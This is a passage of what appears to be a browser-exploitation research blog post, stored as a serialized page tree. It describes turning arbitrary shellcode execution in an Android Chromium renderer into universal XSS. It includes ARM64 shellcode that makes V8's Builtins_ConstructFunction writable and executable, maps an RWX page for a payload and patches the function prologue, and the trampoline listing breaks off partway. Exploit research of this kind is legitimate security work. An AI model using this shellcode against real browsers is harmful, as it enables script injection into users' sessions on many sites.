type":28,"value":778},{"type":23,"tag":314,"props":138183,"children":138184},{"style":1054},[138185],{"type":28,"value":59598},{"type":23,"tag":314,"props":138187,"children":138188},{"style":338},[138189],{"type":28,"value":778},{"type":23,"tag":314,"props":138191,"children":138192},{"style":1054},[138193],{"type":28,"value":16535},{"type":23,"tag":314,"props":138195,"children":138196},{"style":338},[138197],{"type":28,"value":778},{"type":23,"tag":314,"props":138199,"children":138200},{"style":1054},[138201],{"type":28,"value":137860},{"type":23,"tag":314,"props":138203,"children":138204},{"style":338},[138205],{"type":28,"value":778},{"type":23,"tag":314,"props":138207,"children":138208},{"style":1054},[138209],{"type":28,"value":1567},{"type":23,"tag":314,"props":138211,"children":138212},{"style":338},[138213],{"type":28,"value":778},{"type":23,"tag":314,"props":138215,"children":138216},{"style":1054},[138217],{"type":28,"value":1600},{"type":23,"tag":314,"props":138219,"children":138220},{"style":338},[138221],{"type":28,"value":778},{"type":23,"tag":314,"props":138223,"children":138224},{"style":1054},[138225],{"type":28,"value":1600},{"type":23,"tag":314,"props":138227,"children":138228},{"style":338},[138229],{"type":28,"value":778},{"type":23,"tag":314,"props":138231,"children":138232},{"style":1054},[138233],{"type":28,"value":1600},{"type":23,"tag":314,"props":138235,"children":138236},{"style":338},[138237],{"type":28,"value":778},{"type":23,"tag":314,"props":138239,"children":138240},{"style":1054},[138241],{"type":28,"value":1600},{"type":23,"tag":314,"props":138243,"children":138244},{"style":338},[138245],{"type":28,"value":778},{"type":23,"tag":314,"props":138247,"children":138248},{"style":1054},[138249],{"type":28,"value":1600},{"type":23,"tag":314,"props":138251,"children":138252},{"style":338},[138253],{"type":28,"value":778},{"type":23,"tag":314,"props":138255,"children":138256},{"style":1054},[138257],{"type":28,"value":1600},{"type":23,"tag":314,"props":138259,"children":138260},{"style":338},[138261],{"type":28,"value":778},{"type":23,"tag":314,"props":138263,"children":138264},{"style":1054},[138265],{"type":28,"value":1600},{"type":23,"tag":314,"props":138267,"children":138268},{"style":338},[138269],{"type":28,"value":778},{"type":23,"tag":314,"props":138271,"children":138272},{"style":1054},[138273],{"type":28,"value":1600},{"type":23,"tag":314,"props":138275,"children":138276},{"style":338},[138277],{"type":28,"value":778},{"type":23,"tag":314,"props":138279,"children":138280},{"style":1054},[138281],{"type":28,"value":1567},{"type":23,"tag":314,"props":138283,"children":138284},{"style":338},[138285],{"type":28,"value":778},{"type":23,"tag":314,"props":138287,"children":138288},{"style":1054},[138289],{"type":28,"value":1600},{"type":23,"tag":314,"props":138291,"children":138292},{"style":338},[138293],{"type":28,"value":778},{"type":23,"tag":314,"props":138295,"children":138296},{"style":1054},[138297],{"type":28,"value":1600},{"type":23,"tag":314,"props":138299,"children":138300},{"style":338},[138301],{"type":28,"value":778},{"type":23,"tag":314,"props":138303,"children":138304},{"style":1054},[138305],{"type":28,"value":1600},{"type":23,"tag":314,"props":138307,"children":138308},{"style":338},[138309],{"type":28,"value":778},{"type":23,"tag":314,"props":138311,"children":138312},{"style":1054},[138313],{"type":28,"value":1600},{"type":23,"tag":314,"props":138315,"children":138316},{"style":338},[138317],{"type":28,"value":778},{"type":23,"tag":314,"props":138319,"children":138320},{"style":1054},[138321],{"type":28,"value":1600},{"type":23,"tag":314,"props":138323,"children":138324},{"style":338},[138325],{"type":28,"value":1870},{"type":23,"tag":314,"props":138327,"children":138328},{"class":316,"line":1422},[138329,138333,138337,138341,138345,138349,138353,138357,138361,138365,138369,138374,138378,138383,138387,138392,138396,138400],{"type":23,"tag":314,"props":138330,"children":138331},{"style":1054},[138332],{"type":28,"value":133447},{"type":23,"tag":314,"props":138334,"children":138335},{"style":338},[138336],{"type":28,"value":778},{"type":23,"tag":314,"props":138338,"children":138339},{"style":1054},[138340],{"type":28,"value":1600},{"type":23,"tag":314,"props":138342,"children":138343},{"style":338},[138344],{"type":28,"value":778},{"type":23,"tag":314,"props":138346,"children":138347},{"style":1054},[138348],{"type":28,"value":1600},{"type":23,"tag":314,"props":138350,"children":138351},{"style":338},[138352],{"type":28,"value":778},{"type":23,"tag":314,"props":138354,"children":138355},{"style":1054},[138356],{"type":28,"value":1600},{"type":23,"tag":314,"props":138358,"children":138359},{"style":338},[138360],{"type":28,"value":778},{"type":23,"tag":314,"props":138362,"children":138363},{"style":1054},[138364],{"type":28,"value":1600},{"type":23,"tag":314,"props":138366,"children":138367},{"style":338},[138368],{"type":28,"value":778},{"type":23,"tag":314,"props":138370,"children":138371},{"style":1054},[138372],{"type":28,"value":138373},"92",{"type":23,"tag":314,"props":138375,"children":138376},{"style":338},[138377],{"type":28,"value":778},{"type":23,"tag":314,"props":138379,"children":138380},{"style":1054},[138381],{"type":28,"value":138382},"50",{"type":23,"tag":314,"props":138384,"children":138385},{"style":338},[138386],{"type":28,"value":778},{"type":23,"tag":314,"props":138388,"children":138389},{"style":1054},[138390],{"type":28,"value":138391},"162",{"type":23,"tag":314,"props":138393,"children":138394},{"style":338},[138395],{"type":28,"value":778},{"type":23,"tag":314,"props":138397,"children":138398},{"style":1054},[138399],{"type":28,"value":1600},{"type":23,"tag":314,"props":138401,"children":138402},{"style":338},[138403],{"type":28,"value":1870},{"type":23,"tag":314,"props":138405,"children":138406},{"class":316,"line":1430},[138407],{"type":23,"tag":314,"props":138408,"children":138409},{"style":338},[138410],{"type":28,"value":133734},{"type":23,"tag":314,"props":138412,"children":138413},{"class":316,"line":1452},[138414,138418,138422,138426,138430,138434,138438,138442,138446,138450,138454],{"type":23,"tag":314,"props":138415,"children":138416},{"style":321},[138417],{"type":28,"value":7110},{"type":23,"tag":314,"props":138419,"children":138420},{"style":360},[138421],{"type":28,"value":135187},{"type":23,"tag":314,"props":138423,"children":138424},{"style":354},[138425],{"type":28,"value":1237},{"type":23,"tag":314,"props":138427,"children":138428},{"style":332},[138429],{"type":28,"value":135196},{"type":23,"tag":314,"props":138431,"children":138432},{"style":338},[138433],{"type":28,"value":341},{"type":23,"tag":314,"props":138435,"children":138436},{"style":360},[138437],{"type":28,"value":133065},{"type":23,"tag":314,"props":138439,"children":138440},{"style":338},[138441],{"type":28,"value":778},{"type":23,"tag":314,"props":138443,"children":138444},{"style":360},[138445],{"type":28,"value":124393},{"type":23,"tag":314,"props":138447,"children":138448},{"style":338},[138449],{"type":28,"value":282},{"type":23,"tag":314,"props":138451,"children":138452},{"style":360},[138453],{"type":28,"value":124393},{"type":23,"tag":314,"props":138455,"children":138456},{"style":338},[138457],{"type":28,"value":1025},{"type":23,"tag":314,"props":138459,"children":138460},{"class":316,"line":1497},[138461,138465,138469,138473,138477,138481,138485,138489,138493,138497],{"type":23,"tag":314,"props":138462,"children":138463},{"style":360},[138464],{"type":28,"value":135232},{"type":23,"tag":314,"props":138466,"children":138467},{"style":354},[138468],{"type":28,"value":1237},{"type":23,"tag":314,"props":138470,"children":138471},{"style":338},[138472],{"type":28,"value":2324},{"type":23,"tag":314,"props":138474,"children":138475},{"style":2284},[138476],{"type":28,"value":32164},{"type":23,"tag":314,"props":138478,"children":138479},{"style":360},[138480],{"type":28,"value":135187},{"type":23,"tag":314,"props":138482,"children":138483},{"style":338},[138484],{"type":28,"value":282},{"type":23,"tag":314,"props":138486,"children":138487},{"style":332},[138488],{"type":28,"value":56816},{"type":23,"tag":314,"props":138490,"children":138491},{"style":338},[138492],{"type":28,"value":135261},{"type":23,"tag":314,"props":138494,"children":138495},{"style":360},[138496],{"type":28,"value":38399},{"type":23,"tag":314,"props":138498,"children":138499},{"style":338},[138500],{"type":28,"value":2278},{"type":23,"tag":314,"props":138502,"children":138503},{"class":316,"line":1539},[138504,138508,138512,138516,138520,138525,138529,138533],{"type":23,"tag":314,"props":138505,"children":138506},{"style":360},[138507],{"type":28,"value":101196},{"type":23,"tag":314,"props":138509,"children":138510},{"style":338},[138511],{"type":28,"value":282},{"type":23,"tag":314,"props":138513,"children":138514},{"style":332},[138515],{"type":28,"value":101205},{"type":23,"tag":314,"props":138517,"children":138518},{"style":338},[138519],{"type":28,"value":341},{"type":23,"tag":314,"props":138521,"children":138522},{"style":1245},[138523],{"type":28,"value":138524},"'DeserializeWasmModule result: '",{"type":23,"tag":314,"props":138526,"children":138527},{"style":354},[138528],{"type":28,"value":1572},{"type":23,"tag":314,"props":138530,"children":138531},{"style":360},[138532],{"type":28,"value":8410},{"type":23,"tag":314,"props":138534,"children":138535},{"style":338},[138536],{"type":28,"value":1025},{"type":23,"tag":314,"props":138538,"children":138539},{"class":316,"line":1548},[138540,138544,138548,138552,138556,138560,138564,138568,138572,138576],{"type":23,"tag":314,"props":138541,"children":138542},{"style":321},[138543],{"type":28,"value":35437},{"type":23,"tag":314,"props":138545,"children":138546},{"style":360},[138547],{"type":28,"value":135281},{"type":23,"tag":314,"props":138549,"children":138550},{"style":354},[138551],{"type":28,"value":1237},{"type":23,"tag":314,"props":138553,"children":138554},{"style":321},[138555],{"type":28,"value":31180},{"type":23,"tag":314,"props":138557,"children":138558},{"style":360},[138559],{"type":28,"value":133048},{"type":23,"tag":314,"props":138561,"children":138562},{"style":338},[138563],{"type":28,"value":282},{"type":23,"tag":314,"props":138565,"children":138566},{"style":332},[138567],{"type":28,"value":133102},{"type":23,"tag":314,"props":138569,"children":138570},{"style":338},[138571],{"type":28,"value":341},{"type":23,"tag":314,"props":138573,"children":138574},{"style":360},[138575],{"type":28,"value":8333},{"type":23,"tag":314,"props":138577,"children":138578},{"style":338},[138579],{"type":28,"value":1025},{"type":23,"tag":314,"props":138581,"children":138582},{"class":316,"line":1584},[138583,138587,138591,138595,138599,138603,138607,138611,138615],{"type":23,"tag":314,"props":138584,"children":138585},{"style":321},[138586],{"type":28,"value":35437},{"type":23,"tag":314,"props":138588,"children":138589},{"style":360},[138590],{"type":28,"value":32219},{"type":23,"tag":314,"props":138592,"children":138593},{"style":354},[138594],{"type":28,"value":1237},{"type":23,"tag":314,"props":138596,"children":138597},{"style":360},[138598],{"type":28,"value":135281},{"type":23,"tag":314,"props":138600,"children":138601},{"style":338},[138602],{"type":28,"value":282},{"type":23,"tag":314,"props":138604,"children":138605},{"style":360},[138606],{"type":28,"value":37135},{"type":23,"tag":314,"props":138608,"children":138609},{"style":338},[138610],{"type":28,"value":282},{"type":23,"tag":314,"props":138612,"children":138613},{"style":360},[138614],{"type":28,"value":133151},{"type":23,"tag":314,"props":138616,"children":138617},{"style":338},[138618],{"type":28,"value":2278},{"type":23,"tag":314,"props":138620,"children":138621},{"class":316,"line":1617},[138622,138626,138630,138634,138638,138642],{"type":23,"tag":314,"props":138623,"children":138624},{"style":360},[138625],{"type":28,"value":101196},{"type":23,"tag":314,"props":138627,"children":138628},{"style":338},[138629],{"type":28,"value":282},{"type":23,"tag":314,"props":138631,"children":138632},{"style":332},[138633],{"type":28,"value":101205},{"type":23,"tag":314,"props":138635,"children":138636},{"style":338},[138637],{"type":28,"value":341},{"type":23,"tag":314,"props":138639,"children":138640},{"style":360},[138641],{"type":28,"value":32333},{"type":23,"tag":314,"props":138643,"children":138644},{"style":338},[138645],{"type":28,"value":1025},{"type":23,"tag":314,"props":138647,"children":138648},{"class":316,"line":1625},[138649],{"type":23,"tag":314,"props":138650,"children":138651},{"style":338},[138652],{"type":28,"value":101237},{"type":23,"tag":24,"props":138654,"children":138655},{},[138656],{"type":28,"value":138657},"And this time, it works as expected:",{"type":23,"tag":24,"props":138659,"children":138660},{},[138661],{"type":23,"tag":197,"props":138662,"children":138665},{"alt":138663,"src":138664},"image3","/posts/mobile-renderer-rce/image3.png",[],{"type":23,"tag":837,"props":138667,"children":138669},{"id":138668},"achieving-universal-xss",[138670],{"type":28,"value":138671},"Achieving Universal XSS",{"type":23,"tag":24,"props":138673,"children":138674},{},[138675,138677,138683,138685,138692],{"type":28,"value":138676},"At this point, we have arbitrary shellcode execution in the renderer process. While usually the exploit stops here and further access would require a browser sandbox escape, we decided to explore an alternative route known as UXSS, inspired by this ",{"type":23,"tag":31,"props":138678,"children":138681},{"href":138679,"rel":138680},"https://i.blackhat.com/Asia-24/Presentations/Asia-24-Liu-The-Hole-in-Sandbox.pdf",[35],[138682],{"type":28,"value":69584},{"type":28,"value":138684}," from Tencent Security and ",{"type":23,"tag":31,"props":138686,"children":138689},{"href":138687,"rel":138688},"https://www.interruptlabs.co.uk/articles/one-click-memory-corruption-in-alibabas-uc-browser-exploiting-patch-gap-v8-vulnerabilities-to-steal-your-data",[35],[138690],{"type":28,"value":138691},"research article",{"type":28,"value":138693}," from InterruptLabs.",{"type":23,"tag":24,"props":138695,"children":138696},{},[138697,138699,138706],{"type":28,"value":138698},"Unlike a normal XSS, a UXSS, or universal XSS, is a client side browser exploit that enables arbitrary JavaScript injection in all pages of a website. Normally, site isolation on desktop Chromium prevents this, as each site ends up in a different renderer process, but Android specifically has a ",{"type":23,"tag":31,"props":138700,"children":138703},{"href":138701,"rel":138702},"https://www.chromium.org/Home/chromium-security/site-isolation/#android",[35],[138704],{"type":28,"value":138705},"weaker version",{"type":28,"value":138707}," of this mitigation - only sites with logins and COOP headers are per process isolated. This means that the majority of webpages are in the same renderer process, so any patches to the interpreter will affect them all and lead to UXSS. This is still quite the capability!",{"type":23,"tag":24,"props":138709,"children":138710},{},[138711,138713,138719],{"type":28,"value":138712},"To achieve UXSS, we need to patch a function that’s invoked during site loading so we can run our XSS payload. During debugging, we observed that every site we visited eventually called ",{"type":23,"tag":94,"props":138714,"children":138716},{"className":138715},[],[138717],{"type":28,"value":138718},"Builtins_ConstructFunction",{"type":28,"value":138720},", making it a natural target.",{"type":23,"tag":24,"props":138722,"children":138723},{},[138724,138726,138731],{"type":28,"value":138725},"Our goal is for ",{"type":23,"tag":94,"props":138727,"children":138729},{"className":138728},[],[138730],{"type":28,"value":138718},{"type":28,"value":138732}," to execute our XSS payload first, then continue its normal behavior. To do this, we hook it as follows:",{"type":23,"tag":127,"props":138734,"children":138735},{},[138736,138741,138751],{"type":23,"tag":88,"props":138737,"children":138738},{},[138739],{"type":28,"value":138740},"The exploit’s shellcode patches the first few instructions to redirect execution to our mmap-ed shellcode, which runs the XSS payload",{"type":23,"tag":88,"props":138742,"children":138743},{},[138744,138746],{"type":28,"value":138745},"After finishing, the mmap-ed shellcode restores the original instructions in ",{"type":23,"tag":94,"props":138747,"children":138749},{"className":138748},[],[138750],{"type":28,"value":138718},{"type":23,"tag":88,"props":138752,"children":138753},{},[138754,138756,138761],{"type":28,"value":138755},"The mmap-ed shellcode then returns to the beginning of ",{"type":23,"tag":94,"props":138757,"children":138759},{"className":138758},[],[138760],{"type":28,"value":138718},{"type":28,"value":138762},", which now proceeds normally",{"type":23,"tag":24,"props":138764,"children":138765},{},[138766],{"type":28,"value":138767},"The ARM64 shellcode implementing this looks as follows:",{"type":23,"tag":304,"props":138769,"children":138773},{"code":138770,"language":138771,"meta":7,"className":138772,"style":7},"// get return addr to x0\nldr x0, [sp, #0x18]\n// strip pac signature from return address\n.arch armv8.3-a; xpaci x0\n\n// store x5 = Builtins_ConstructFunction\nmovz x1, #0x610c\nsub x0, x0, x1\nmov x5, x0\n\n// store x4 = page aligned ConstructFunction\nmovz x1, #0xf000\nmovk x1, #0xffff, lsl #16\nmovk x1, #0xffff, lsl #32\nand x4, x5, x1\n\n// mprotect page aligned ConstructFunction RWX\nmov x0, x4\nmov x1, #0x2000\nmov x2, #0x7\nmov x8, #226\nsvc #0\n\nmov x6, x5\n\n// mmap RWX for jump dest (uxss_sc)\nmov x0, #0\nmov x1, #0x1000\nmov x2, #0x7\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\nmov x5, x0\n\n// at this point:\n// x6 = Builtins_ConstructFunction\n// x5 = mmap page for uxss_sc\n\n// write uxss_sc to mmaped rwx page\n{write_sc(uxss_sc, \"x5\")}\n\n// wipe from cache\nmov x0, x5\n{WIPE_CACHE}\n\n// patch Builtins_ConstructFunction\n{write_sc(new_compile_instrs, \"x6\")}\n// and add a pointer to uxss_sc just above new instructions\nstr x5, [x6, #{5 * INSTR_SIZE}]\n\n// wipe from cache\nmov x0, x6\n{WIPE_CACHE}\n","asm","language-asm shiki shiki-themes slack-dark",[138774],{"type":23,"tag":94,"props":138775,"children":138776},{"__ignoreMap":7},[138777,138785,138793,138801,138809,138816,138824,138832,138840,138848,138855,138863,138871,138879,138887,138895,138902,138910,138918,138926,138934,138942,138950,138957,138965,138972,138980,138988,138996,139003,139011,139019,139027,139035,139042,139049,139056,139063,139071,139079,139087,139094,139102,139110,139117,139125,139133,139141,139148,139156,139164,139172,139180,139187,139194,139202],{"type":23,"tag":314,"props":138778,"children":138779},{"class":316,"line":317},[138780],{"type":23,"tag":314,"props":138781,"children":138782},{},[138783],{"type":28,"value":138784},"// get return addr to x0\n",{"type":23,"tag":314,"props":138786,"children":138787},{"class":316,"line":370},[138788],{"type":23,"tag":314,"props":138789,"children":138790},{},[138791],{"type":28,"value":138792},"ldr x0, [sp, #0x18]\n",{"type":23,"tag":314,"props":138794,"children":138795},{"class":316,"line":380},[138796],{"type":23,"tag":314,"props":138797,"children":138798},{},[138799],{"type":28,"value":138800},"// strip pac signature from return address\n",{"type":23,"tag":314,"props":138802,"children":138803},{"class":316,"line":1091},[138804],{"type":23,"tag":314,"props":138805,"children":138806},{},[138807],{"type":28,"value":138808},".arch armv8.3-a; xpaci x0\n",{"type":23,"tag":314,"props":138810,"children":138811},{"class":316,"line":1141},[138812],{"type":23,"tag":314,"props":138813,"children":138814},{"emptyLinePlaceholder":18},[138815],{"type":28,"value":1088},{"type":23,"tag":314,"props":138817,"children":138818},{"class":316,"line":1173},[138819],{"type":23,"tag":314,"props":138820,"children":138821},{},[138822],{"type":28,"value":138823},"// store x5 = Builtins_ConstructFunction\n",{"type":23,"tag":314,"props":138825,"children":138826},{"class":316,"line":1208},[138827],{"type":23,"tag":314,"props":138828,"children":138829},{},[138830],{"type":28,"value":138831},"movz x1, #0x610c\n",{"type":23,"tag":314,"props":138833,"children":138834},{"class":316,"line":1216},[138835],{"type":23,"tag":314,"props":138836,"children":138837},{},[138838],{"type":28,"value":138839},"sub x0, x0, x1\n",{"type":23,"tag":314,"props":138841,"children":138842},{"class":316,"line":1301},[138843],{"type":23,"tag":314,"props":138844,"children":138845},{},[138846],{"type":28,"value":138847},"mov x5, x0\n",{"type":23,"tag":314,"props":138849,"children":138850},{"class":316,"line":1343},[138851],{"type":23,"tag":314,"props":138852,"children":138853},{"emptyLinePlaceholder":18},[138854],{"type":28,"value":1088},{"type":23,"tag":314,"props":138856,"children":138857},{"class":316,"line":1351},[138858],{"type":23,"tag":314,"props":138859,"children":138860},{},[138861],{"type":28,"value":138862},"// store x4 = page aligned ConstructFunction\n",{"type":23,"tag":314,"props":138864,"children":138865},{"class":316,"line":1387},[138866],{"type":23,"tag":314,"props":138867,"children":138868},{},[138869],{"type":28,"value":138870},"movz x1, #0xf000\n",{"type":23,"tag":314,"props":138872,"children":138873},{"class":316,"line":1422},[138874],{"type":23,"tag":314,"props":138875,"children":138876},{},[138877],{"type":28,"value":138878},"movk x1, #0xffff, lsl #16\n",{"type":23,"tag":314,"props":138880,"children":138881},{"class":316,"line":1430},[138882],{"type":23,"tag":314,"props":138883,"children":138884},{},[138885],{"type":28,"value":138886},"movk x1, #0xffff, lsl #32\n",{"type":23,"tag":314,"props":138888,"children":138889},{"class":316,"line":1452},[138890],{"type":23,"tag":314,"props":138891,"children":138892},{},[138893],{"type":28,"value":138894},"and x4, x5, x1\n",{"type":23,"tag":314,"props":138896,"children":138897},{"class":316,"line":1497},[138898],{"type":23,"tag":314,"props":138899,"children":138900},{"emptyLinePlaceholder":18},[138901],{"type":28,"value":1088},{"type":23,"tag":314,"props":138903,"children":138904},{"class":316,"line":1539},[138905],{"type":23,"tag":314,"props":138906,"children":138907},{},[138908],{"type":28,"value":138909},"// mprotect page aligned ConstructFunction RWX\n",{"type":23,"tag":314,"props":138911,"children":138912},{"class":316,"line":1548},[138913],{"type":23,"tag":314,"props":138914,"children":138915},{},[138916],{"type":28,"value":138917},"mov x0, x4\n",{"type":23,"tag":314,"props":138919,"children":138920},{"class":316,"line":1584},[138921],{"type":23,"tag":314,"props":138922,"children":138923},{},[138924],{"type":28,"value":138925},"mov x1, #0x2000\n",{"type":23,"tag":314,"props":138927,"children":138928},{"class":316,"line":1617},[138929],{"type":23,"tag":314,"props":138930,"children":138931},{},[138932],{"type":28,"value":138933},"mov x2, #0x7\n",{"type":23,"tag":314,"props":138935,"children":138936},{"class":316,"line":1625},[138937],{"type":23,"tag":314,"props":138938,"children":138939},{},[138940],{"type":28,"value":138941},"mov x8, #226\n",{"type":23,"tag":314,"props":138943,"children":138944},{"class":316,"line":1660},[138945],{"type":23,"tag":314,"props":138946,"children":138947},{},[138948],{"type":28,"value":138949},"svc #0\n",{"type":23,"tag":314,"props":138951,"children":138952},{"class":316,"line":1708},[138953],{"type":23,"tag":314,"props":138954,"children":138955},{"emptyLinePlaceholder":18},[138956],{"type":28,"value":1088},{"type":23,"tag":314,"props":138958,"children":138959},{"class":316,"line":1743},[138960],{"type":23,"tag":314,"props":138961,"children":138962},{},[138963],{"type":28,"value":138964},"mov x6, x5\n",{"type":23,"tag":314,"props":138966,"children":138967},{"class":316,"line":1751},[138968],{"type":23,"tag":314,"props":138969,"children":138970},{"emptyLinePlaceholder":18},[138971],{"type":28,"value":1088},{"type":23,"tag":314,"props":138973,"children":138974},{"class":316,"line":1791},[138975],{"type":23,"tag":314,"props":138976,"children":138977},{},[138978],{"type":28,"value":138979},"// mmap RWX for jump dest (uxss_sc)\n",{"type":23,"tag":314,"props":138981,"children":138982},{"class":316,"line":1805},[138983],{"type":23,"tag":314,"props":138984,"children":138985},{},[138986],{"type":28,"value":138987},"mov x0, #0\n",{"type":23,"tag":314,"props":138989,"children":138990},{"class":316,"line":1818},[138991],{"type":23,"tag":314,"props":138992,"children":138993},{},[138994],{"type":28,"value":138995},"mov x1, #0x1000\n",{"type":23,"tag":314,"props":138997,"children":138998},{"class":316,"line":1873},[138999],{"type":23,"tag":314,"props":139000,"children":139001},{},[139002],{"type":28,"value":138933},{"type":23,"tag":314,"props":139004,"children":139005},{"class":316,"line":1891},[139006],{"type":23,"tag":314,"props":139007,"children":139008},{},[139009],{"type":28,"value":139010},"mov x3, #34\n",{"type":23,"tag":314,"props":139012,"children":139013},{"class":316,"line":1899},[139014],{"type":23,"tag":314,"props":139015,"children":139016},{},[139017],{"type":28,"value":139018},"mov x4, #-1\n",{"type":23,"tag":314,"props":139020,"children":139021},{"class":316,"line":1944},[139022],{"type":23,"tag":314,"props":139023,"children":139024},{},[139025],{"type":28,"value":139026},"mov x5, #0\n",{"type":23,"tag":314,"props":139028,"children":139029},{"class":316,"line":2008},[139030],{"type":23,"tag":314,"props":139031,"children":139032},{},[139033],{"type":28,"value":139034},"mov x8, #222\n",{"type":23,"tag":314,"props":139036,"children":139037},{"class":316,"line":2043},[139038],{"type":23,"tag":314,"props":139039,"children":139040},{},[139041],{"type":28,"value":138949},{"type":23,"tag":314,"props":139043,"children":139044},{"class":316,"line":22803},[139045],{"type":23,"tag":314,"props":139046,"children":139047},{"emptyLinePlaceholder":18},[139048],{"type":28,"value":1088},{"type":23,"tag":314,"props":139050,"children":139051},{"class":316,"line":22845},[139052],{"type":23,"tag":314,"props":139053,"children":139054},{},[139055],{"type":28,"value":138847},{"type":23,"tag":314,"props":139057,"children":139058},{"class":316,"line":22878},[139059],{"type":23,"tag":314,"props":139060,"children":139061},{"emptyLinePlaceholder":18},[139062],{"type":28,"value":1088},{"type":23,"tag":314,"props":139064,"children":139065},{"class":316,"line":22886},[139066],{"type":23,"tag":314,"props":139067,"children":139068},{},[139069],{"type":28,"value":139070},"// at this point:\n",{"type":23,"tag":314,"props":139072,"children":139073},{"class":316,"line":22894},[139074],{"type":23,"tag":314,"props":139075,"children":139076},{},[139077],{"type":28,"value":139078},"// x6 = Builtins_ConstructFunction\n",{"type":23,"tag":314,"props":139080,"children":139081},{"class":316,"line":22903},[139082],{"type":23,"tag":314,"props":139083,"children":139084},{},[139085],{"type":28,"value":139086},"// x5 = mmap page for uxss_sc\n",{"type":23,"tag":314,"props":139088,"children":139089},{"class":316,"line":22979},[139090],{"type":23,"tag":314,"props":139091,"children":139092},{"emptyLinePlaceholder":18},[139093],{"type":28,"value":1088},{"type":23,"tag":314,"props":139095,"children":139096},{"class":316,"line":23012},[139097],{"type":23,"tag":314,"props":139098,"children":139099},{},[139100],{"type":28,"value":139101},"// write uxss_sc to mmaped rwx page\n",{"type":23,"tag":314,"props":139103,"children":139104},{"class":316,"line":23020},[139105],{"type":23,"tag":314,"props":139106,"children":139107},{},[139108],{"type":28,"value":139109},"{write_sc(uxss_sc, \"x5\")}\n",{"type":23,"tag":314,"props":139111,"children":139112},{"class":316,"line":23028},[139113],{"type":23,"tag":314,"props":139114,"children":139115},{"emptyLinePlaceholder":18},[139116],{"type":28,"value":1088},{"type":23,"tag":314,"props":139118,"children":139119},{"class":316,"line":23065},[139120],{"type":23,"tag":314,"props":139121,"children":139122},{},[139123],{"type":28,"value":139124},"// wipe from cache\n",{"type":23,"tag":314,"props":139126,"children":139127},{"class":316,"line":23078},[139128],{"type":23,"tag":314,"props":139129,"children":139130},{},[139131],{"type":28,"value":139132},"mov x0, x5\n",{"type":23,"tag":314,"props":139134,"children":139135},{"class":316,"line":23091},[139136],{"type":23,"tag":314,"props":139137,"children":139138},{},[139139],{"type":28,"value":139140},"{WIPE_CACHE}\n",{"type":23,"tag":314,"props":139142,"children":139143},{"class":316,"line":23104},[139144],{"type":23,"tag":314,"props":139145,"children":139146},{"emptyLinePlaceholder":18},[139147],{"type":28,"value":1088},{"type":23,"tag":314,"props":139149,"children":139150},{"class":316,"line":23158},[139151],{"type":23,"tag":314,"props":139152,"children":139153},{},[139154],{"type":28,"value":139155},"// patch Builtins_ConstructFunction\n",{"type":23,"tag":314,"props":139157,"children":139158},{"class":316,"line":23167},[139159],{"type":23,"tag":314,"props":139160,"children":139161},{},[139162],{"type":28,"value":139163},"{write_sc(new_compile_instrs, \"x6\")}\n",{"type":23,"tag":314,"props":139165,"children":139166},{"class":316,"line":31528},[139167],{"type":23,"tag":314,"props":139168,"children":139169},{},[139170],{"type":28,"value":139171},"// and add a pointer to uxss_sc just above new instructions\n",{"type":23,"tag":314,"props":139173,"children":139174},{"class":316,"line":31549},[139175],{"type":23,"tag":314,"props":139176,"children":139177},{},[139178],{"type":28,"value":139179},"str x5, [x6, #{5 * INSTR_SIZE}]\n",{"type":23,"tag":314,"props":139181,"children":139182},{"class":316,"line":80203},[139183],{"type":23,"tag":314,"props":139184,"children":139185},{"emptyLinePlaceholder":18},[139186],{"type":28,"value":1088},{"type":23,"tag":314,"props":139188,"children":139189},{"class":316,"line":80216},[139190],{"type":23,"tag":314,"props":139191,"children":139192},{},[139193],{"type":28,"value":139124},{"type":23,"tag":314,"props":139195,"children":139196},{"class":316,"line":80224},[139197],{"type":23,"tag":314,"props":139198,"children":139199},{},[139200],{"type":28,"value":139201},"mov x0, x6\n",{"type":23,"tag":314,"props":139203,"children":139204},{"class":316,"line":80232},[139205],{"type":23,"tag":314,"props":139206,"children":139207},{},[139208],{"type":28,"value":139140},{"type":23,"tag":24,"props":139210,"children":139211},{},[139212,139214,139220,139222,139227,139229,139235],{"type":28,"value":139213},"In the snippet above, ",{"type":23,"tag":94,"props":139215,"children":139217},{"className":139216},[],[139218],{"type":28,"value":139219},"new_compile_instrs",{"type":28,"value":139221}," refers to the instructions written to the beginning of ",{"type":23,"tag":94,"props":139223,"children":139225},{"className":139224},[],[139226],{"type":28,"value":138718},{"type":28,"value":139228}," that invoke the ",{"type":23,"tag":94,"props":139230,"children":139232},{"className":139231},[],[139233],{"type":28,"value":139234},"uxss_sc",{"type":28,"value":139236}," mmap-ed shellcode:",{"type":23,"tag":304,"props":139238,"children":139240},{"code":139239,"language":138771,"meta":7,"className":138772,"style":7},"bti c\n\n// store registers that will be overwritten\nstp x15, lr, [sp, #-16]!\n\n// get current rip into x15\nadr x15, .\n\n// load the uxss_sc pointer saved just above new instructions\nldr x15, [x15, #{3 * INSTR_SIZE}]\n\n// jump to uxss_sc\nblr x15\n",[139241],{"type":23,"tag":94,"props":139242,"children":139243},{"__ignoreMap":7},[139244,139252,139259,139267,139275,139282,139290,139298,139305,139313,139321,139328,139336],{"type":23,"tag":314,"props":139245,"children":139246},{"class":316,"line":317},[139247],{"type":23,"tag":314,"props":139248,"children":139249},{},[139250],{"type":28,"value":139251},"bti c\n",{"type":23,"tag":314,"props":139253,"children":139254},{"class":316,"line":370},[139255],{"type":23,"tag":314,"props":139256,"children":139257},{"emptyLinePlaceholder":18},[139258],{"type":28,"value":1088},{"type":23,"tag":314,"props":139260,"children":139261},{"class":316,"line":380},[139262],{"type":23,"tag":314,"props":139263,"children":139264},{},[139265],{"type":28,"value":139266},"// store registers that will be overwritten\n",{"type":23,"tag":314,"props":139268,"children":139269},{"class":316,"line":1091},[139270],{"type":23,"tag":314,"props":139271,"children":139272},{},[139273],{"type":28,"value":139274},"stp x15, lr, [sp, #-16]!\n",{"type":23,"tag":314,"props":139276,"children":139277},{"class":316,"line":1141},[139278],{"type":23,"tag":314,"props":139279,"children":139280},{"emptyLinePlaceholder":18},[139281],{"type":28,"value":1088},{"type":23,"tag":314,"props":139283,"children":139284},{"class":316,"line":1173},[139285],{"type":23,"tag":314,"props":139286,"children":139287},{},[139288],{"type":28,"value":139289},"// get current rip into x15\n",{"type":23,"tag":314,"props":139291,"children":139292},{"class":316,"line":1208},[139293],{"type":23,"tag":314,"props":139294,"children":139295},{},[139296],{"type":28,"value":139297},"adr x15, 